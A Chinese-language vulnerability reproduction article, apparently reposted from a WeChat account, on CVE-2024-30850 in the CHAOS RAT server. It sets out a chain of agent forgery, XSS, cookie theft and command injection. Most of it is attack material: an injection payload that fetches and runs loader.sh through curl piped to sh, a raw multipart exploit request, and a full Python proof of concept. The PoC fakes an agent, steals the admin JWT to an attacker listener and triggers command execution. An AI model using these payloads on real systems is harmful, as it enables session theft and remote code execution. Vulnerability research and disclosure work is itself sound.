漏洞描述
CHAOS RAT是一个针对Windows和Linux系统的开源远程管理工具,最著名的是在 TrendMicro观察到的加密活动2中使用的。发现了一个经过身份验证的命令注入漏洞,它可以通过XSS链接在RAT服务器上执行命令。
资产测绘
FOFA:
漏洞复现
项目地址:https://github.com/tiagorlampert/CHAOS
解压,docker运行
# Create a shared directory between the host and container $ mkdir ~/chaos-container $ docker run -it -v ~/chaos-container:/database/ -v ~/chaos-container:/temp/ \ -e PORT=8080 -e SQLITE_DATABASE=chaos -p 8080:8080 tiagorlampert/chaos:latest
代码分析
命令注入
首先在BuildClient 函数找到了一处命令注入
func (c clientService) BuildClient(input BuildClientBinaryInput) (string, error) { if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) { return "", internal.ErrInvalidServerAddress } if !isValidPort(input.ServerPort) { return "", internal.ErrInvalidServerPort } filename, err := utils.NormalizeString(input.Filename) if err != nil { return "", err } newToken, err := c.GenerateNewToken() if err != nil { return "", err } const buildStr = `GO_ENABLED=1 GOOS=%s GOARCH=amd64 go build -ldflags '%s -s -w -X main.Version=%s -X main.Port=%s -X main.ServerAddress=%s -X main.Token=%s -extldflags "-static"' -o ../temp/%s main.go` filename = buildFilename(input.OSTarget, filename) buildCmd := fmt.Sprintf(buildStr, handleOSType(input.OSTarget), runHidden(input.RunHidden), c.AppVersion, input.ServerPort, input.ServerAddress, newToken, filename) cmd := exec.Command("sh", "-c", buildCmd) cmd.Dir = "client/" outputErr, err := cmd.CombinedOutput() if err != nil { return "", fmt.Errorf("%w:%s", err, outputErr) } return filename, nil }
本地验证命令注入,通过反引号成功实现命令注入
该函数在 generateBinaryPostHandler 中被调用
func (h *httpController) generateBinaryPostHandler(c *gin.Context) { var req request.GenerateClientRequestForm if err := c.ShouldBindWith(&req, binding.Form); err != nil { c.String(http.StatusBadRequest, err.Error()) return } osTarget, err := strconv.Atoi(req.OSTarget) if err != nil { c.String(http.StatusBadRequest, err.Error()) return } binary, err := h.ClientService.BuildClient(client.BuildClientBinaryInput{ ServerAddress: req.Address, ServerPort: req.Port, OSTarget: system.OSTargetIntMap[osTarget], Filename: req.Filename, RunHidden: utils.ParseCheckboxBoolean(req.RunHidden), }) if err != nil { h.Logger.Error(err) c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()}) return } c.String(http.StatusOK, binary) return }
而该handler对应的后台路由为 /generate
adminGroup.POST("/generate", handler.generateBinaryPostHandler)
通过访问该路由,推测该函数用于生成client被控端,输入的参数例如RunHidden、ServerAddress、ServerPort等
抓包查看所需参数,只有 address、port、os_target、filename、run_hidden五个参数可控
POST /generate HTTP/1.1 Host: 192.168.76.128:8080 Cookie: XDEBUG_SESSION=PHPSTORM; jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRob3JpemVkIjp0cnVlLCJleHAiOjE3MTI4MzAxODgsIm9yaWdfaWF0IjoxNzEyODI2NTg4LCJ1c2VyIjoiYWRtaW4ifQ.qaYqzrnAypBZ5dVkRk5LR4GX3U_10dnZxVK6IAwXyfc Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8RrfJ8oE1HE3x45z Referer: http://192.168.76.128:8080/generate Origin: http://192.168.76.128:8080 Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Accept: */* Accept-Language: zh-CN,zh;q=0.9 Content-Length: 537 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="address" 172.17.0.2 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="port" 8080 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="os_target" 1 ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="filename" ------WebKitFormBoundary8RrfJ8oE1HE3x45z Content-Disposition: form-data; name="run_hidden" false ------WebKitFormBoundary8RrfJ8oE1HE3x45z--
但是每个参数都有一定的检查,经过审计后,只有address存在利用可能
if !isValidIPAddress(input.ServerAddress) && !isValidURL(input.ServerAddress) { return "", internal.ErrInvalidServerAddress } if !isValidPort(input.ServerPort) { return "", internal.ErrInvalidServerPort } filename, err := utils.NormalizeString(input.Filename) if err != nil { return "", err }
针对isValidURL的绕过依旧利用反引号
http://example.com/'`touch /tmp/pwn`' or http://example.com'$(IFS=];b=curl]192.168.1.6:80/loader.sh;$b|sh)'
agent分析
生成的agent,主要有三个信息,serveraddress,serverport,token。前两个不用说,token用于agent的身份认证,这些信息都以string形式存放在agent的编译信息中
上线流程为:
-
以http携带jwt为cookie字段,不断访问server的 /health 用于检测是否可达 和 /device 用于发送agent主机信息,server端将收到的信息保存,访问 /devices 用于查看所有的上线agent
-
以websocket与server的 /client 建立连接,等待指令
结合以上信息,通过提取agent的三个信息,可以伪造agent上线,并且可以控制向server的信息回传
XSS
能造成xss的无非两个地方,主机信息 与 命令回传
在命令回传处,直接输出,造成xss
伪造上线
输入命令,xss
漏洞组合
伪造上线->xss->csrf->server端rce 或 伪造上线->xss->cookie登录->server端rce
POC
import time import requests import threading import json import websocket import argparse import sys import re from functools import partial from http.server import BaseHTTPRequestHandler, HTTPServer class Collector(BaseHTTPRequestHandler): def __init__(self, ip, port, target, *args, **kwargs): self.ip = ip self.port = port self.target = target super().__init__(*args, **kwargs) def do_GET(self): print(self.path) cookie = self.path.split("=")[1] self.send_response(200) self.end_headers() self.wfile.write(b"") print(f"[+]Exploiting {self.target} with JWT {cookie}") headers = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0', 'Content-Type': 'multipart/form-data; boundary=---------------------------196428912119225031262745068932', 'Cookie': f'jwt={cookie}' } requests.post(url=f"http://{self.target}/generate",data=f'-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="address"\r\n\r\nhttp://example.com/\'`touch /tmp/pwn`\'\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="port"\r\n\r\n8080\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="os_target"\r\n\r\n1\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="filename"\r\n\r\n\r\n-----------------------------196428912119225031262745068932\r\nContent-Disposition: form-data; name="run_hidden"\r\n\r\nfalse\r\n-----------------------------196428912119225031262745068932--\r\n',headers=headers,verify=False) def convert_to_int_array(string): int_array = [] for char in string: int_array.append(ord(char)) return int_array def extract_client_info(path): with open(path, 'rb') as f: data = str(f.read()) address_regexp = r"main\.ServerAddress=(?:[0-9]{1,3}\.){3}[0-9]{1,3}" address_pattern = re.compile(address_regexp) address = address_pattern.findall(data)[0].split("=")[1] port_regexp = r"main\.Port=\d{1,6}" port_pattern = re.compile(port_regexp) port = port_pattern.findall(data)[0].split("=")[1] jwt_regexp = r"main\.Token=[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*\.[a-zA-Z0-9_\.\-+/=]*" jwt_pattern = re.compile(jwt_regexp) jwt = jwt_pattern.findall(data)[0].split("=")[1] return f"{address}:{port}", jwt def keep_connection(target, cookie, hostname, username, os_name, mac, ip): headers = { "Cookie": f"jwt={cookie}" } while True: data = {"hostname": hostname, "username":username,"user_id": username,"os_name": os_name, "os_arch":"amd64", "mac_address": mac, "local_ip_address": ip, "port":"8000", "fetched_unix":int(time.time())} requests.get(f"http://{target}/health", headers=headers) requests.post(f"http://{target}/device", headers=headers, json=data) time.sleep(30) def handle_command(target, cookie, mac, ip, port): headers = { "Cookie": f"jwt={cookie}", "X-Client": mac } ws = websocket.WebSocket() ws.connect(f'ws://{target}/client', header=headers) while True: ws.recv() data = {"client_id": mac, "response": convert_to_int_array(f"<script>var i = new Image;i.src='http://{ip}:{port}/'+document.cookie;</script>"), "has_error": False} ws.send_binary(json.dumps(data)) def run(ip, port, target): server_address = (ip, int(port)) collector = partial(Collector, ip, port, target) httpd = HTTPServer(server_address, collector) print(f'Server running on port {ip}:{port}') httpd.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser() subparsers = parser.add_subparsers(dest="option") exploit = subparsers.add_parser("exploit") exploit.add_argument("-f", "--file", help="The path to the CHAOS client") exploit.add_argument("-l", "--local_ip", help="The local IP to use for serving bash script and mp4", required=True) args = parser.parse_args() if args.option == "exploit": target, jwt = extract_client_info(args.file) bg = threading.Thread(target=keep_connection, args=(target, jwt, "DC01", "Administrator", "Windows", "3f:72:58:91:56:56", "10.0.17.12")) bg.start() cmd = threading.Thread(target=handle_command, args=(target, jwt, "3f:72:58:91:56:56", args.local_ip, 8000)) cmd.start() server = threading.Thread(target=run, args=(args.local_ip, 8000, target)) server.start() else: parser.print_help(sys.stderr) sys.exit(1)
原文始发于微信公众号(漏洞文库):【漏洞复现】CVE-2024-30850
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论